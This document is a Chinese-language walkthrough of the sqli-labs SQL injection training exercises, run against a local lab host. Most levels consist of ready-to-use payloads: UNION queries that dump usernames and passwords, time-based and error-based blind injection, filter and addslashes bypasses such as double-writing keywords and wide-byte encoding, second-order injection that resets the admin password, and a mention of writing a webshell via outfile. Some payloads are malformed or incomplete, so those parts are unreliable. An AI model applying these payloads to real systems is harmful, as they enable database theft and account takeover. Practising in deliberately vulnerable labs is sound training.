Sql注入是web十大安全漏洞之一,是web服务器对于用户输入的信息没有进行过滤,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
Less-1
第一题 是字符型注入
手工UNION联合查询注入
我们先id=-1'进行一个判断
根据报错信息,可以确定输入参数的内容被存放到一对单引号中间
我们开始直接爆表
?id=-1' union select 1,2,database() --+
得到了数据库的名字为security
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
发现users是用户信息表
我们接下来开始爆字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' --+
我们知道了字端我们接下来开始爆值
成功
Less-02
这个题我们还是利用上道题的方法
发现出错
我们这道题要把1后面点去掉是数字型注入
除此之外和第一题是一样的我们先看看是什么数据库
?id=-1 union select 1,2,database() --+
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆值、
?id=-1 union select 1,2,group_concat(username,password) from users --+
成功
Less03
我们按照上关的方法
使用字符型
Id=1‘
报错了,我们怀疑传参是在一个括号里
所以要‘’回来
?Id=1’’
成功了
再利用上关的爆库爆表爆字段爆值
爆库
爆表
爆字段
爆值
Less04
我们试试判断是否为字符型注入
?id=-1
发现没有显示
?id=-1 union select 1,2,database()--+
试试可能要括号,这道题要构造1”)来连接前面的
爆表
id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆值
?id=-1") union select 1,2,group_concat(username,password) from users --+
Less05
我们先判断
这个有点像盲注
我们看看延迟
接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。
最好使用sqlmap来使用可以节约数时间
?id=1' and if(length(database())=8,sleep(5),1)--+
明显延迟,数据库长度为8.
判断太慢了我们可以是用python脚本来进行
或者我们还可以手动一个个判断
?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +
爆表
?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +
爆列
?id=1'and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))
Less06
这道题把单引号改成双引号就行了
?id=a" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23
Less07
我们先试试?id=1看看有没有问题发现1’))可闭合
初步判断为字符型注入,经过测试后发现正常返回 You are in.... Use outfile...... 错误返回 You have an error in your SQL synta
我们将my.ini进行修改后,可以进行写入文件
再经过一系列修改之后终于可以了,
这里我们修改secure时候记得重启电脑,因为phpstudy自己的bug,这里我们写入一句话连接即可
Less08
我们输入?id=1’
发现没有回显
我们再使用
?id=1' and if(length(database(),1,1)='s' sleep(5),sleep(1)) --+
Less09
我们还是先输入一个?id=1’判断 是否存在回显点
没有而且看看网络性能
花了整整5秒钟的时间来响应,由此推断出这道题是基于时间的盲注
发现回显了,证明是有的
盲注最好还是使用工具或者脚本来进行判断,这里我们只需要知道盲注的实现方法是什么就行了
Less10
我们试试这里首先我们判断是否存在注入点
?id=1’
发现这里其实和上到题都差不多
Less11
我们发现这里有点不一样了,出现了一个输入用户名密码的
我们试试username的看看行不行
1") union select database(),2#
Less12
这里和上题差不多
Less13
1") union 1,2,select database() #发现没有回显
Less15
判断是盲注 - 基于布尔值 - 字符串
怎么输入都没有回显,时间延迟
显示登入成功但是没有回显
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
爆库,爆表,爆列名,爆值
这里推荐使用python脚本来进行判断手工的话耗费时间太长了
Less16
把上一题正的单引号改为双引号加括号 ")
Less17
这道题是爆错型注入
要使用updatexml
Less19
抓包修改user-agent为一下payload就可以了
Less20
这个题我们先登入上去然后这个根据这个分析是cookie型的注入
Payload : name=-admin' union select 1,2,database()--+
admin' union select 1,2,database() --+
Less21
使用admin登入上去
发现这个是个base64编码
成功注入
Less22
这题没有括号
Less23
爆库payload
?id=' union select 1,2,database() '
这个题是get形并且过滤了常见的注释符
Lesson 24
这道题是一个二次注入
注册一个admin'#的账号。
登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
Less 25
OR & AND 欺骗
判断显示位
个人感觉差不多
?id=-1' union select 1,2,group_concat(username,':',passwoorrd) from users --+
Less 26
可以看到$id 周围是单引号,过滤了 or,and , /* , – , # , 空格 , /
Less27
这个是个报错注入
?id=1'||updatexml(1,concat(0x7e,(sElect(group_concat(username,':',password))from(users)),0x7e),1)||'1'='1
Less28
过滤 union select /i 大小写都被过滤,所以只能采用双写的方式进行注入
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,database();%00
Less29
用waf防护
?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+
表爆出来了,后面的一样
Less30
和上一关的一样,只是变成了单引号
Less31
这一关和上一关多了一个括号
爆表?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ="users" --+
?id=-1") union select 1,2,group_concat(username,":",password) from security.users --+
Less32
绕过 addslashes()
宽字节绕过引号转义
?id=-1%27%20union%20select%201,2,database()#
' 前面加的 \ 就会和%E6 合在一起
less-33
绕过 addslashes()
和上一题一样的,payload都不用改
?id=-1%dd' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
Less 34
其实和上一题是一样的就是要用post传参提交
使用汉字的编码来吧\给注释掉
uname=中' union select 1,(select group_concat(username,---,password) from users) #&passwd=&submit=Submit
Less 41
http://192.168.188.135/sqli-lab//Less-41/?id=-1 union select 1,2,3
和39题差不多
爆表?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
爆字段
http://192.168.188.135/sqli-lab//Less-41/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
爆数据
http://192.168.188.135/sqli-lab//Less-41/?id=-1 union select 1,2,group_concat(username,"---",password) from security.users
Less 42
四十二关是因为账户进行了转义处理密码没有做处理,我们直接插入数据
Less 43
四十三关和四十二关差不多,就是密码参数是单引号和括号闭合的。
Less 44
四十四关和四十二关一样
Less 45
四十五关和四十三关一样
Less 46
Less 47
四十七关和四十六差不多,多了一个单引号闭合,可以使用报错注入